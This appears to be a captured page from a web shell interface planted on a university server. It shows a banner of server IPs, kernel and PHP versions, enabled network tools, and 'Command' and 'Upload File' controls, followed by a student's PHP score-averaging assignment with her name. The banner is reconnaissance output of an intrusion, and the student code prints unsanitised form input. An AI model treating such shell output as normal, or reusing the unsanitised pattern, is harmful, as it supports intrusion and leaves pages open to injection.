Server IP : 172.16.15.8 / Your IP : 3.14.250.187 Web Server : Apache System : Linux zeus.vwu.edu 4.18.0-553.27.1.el8_10.x86_64 #1 SMP Wed Nov 6 14:29:02 UTC 2024 x86_64 User : apache ( 48) PHP Version : 7.2.24 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home/vnlaughlin/public_html/ |
[ Home ] | [ C0mmand ] | [ Upload File ] |
---|
<!-- Name: Victoria Laughlin Date Modified: 2/9/2016 Assignment 2b: PHP Form --> <CENTER> <H2> Score Submit </H2> <HR> <FONT size=5> <?php $name = $_POST['student']; $score1 = $_POST['score1']; $score2 = $_POST['score2']; $score3 = $_POST['score3']; $total = $score1 + $score2 + $score3; $avg = $total / 3; $avg = number_format($avg, 1); print "$name, your average is $avg%." ?> </FONT> </CENTER> <HR> <A HREF=assign2b.html> Redo Score Submit </A> <BR> <A HREF=index.html> Home </A>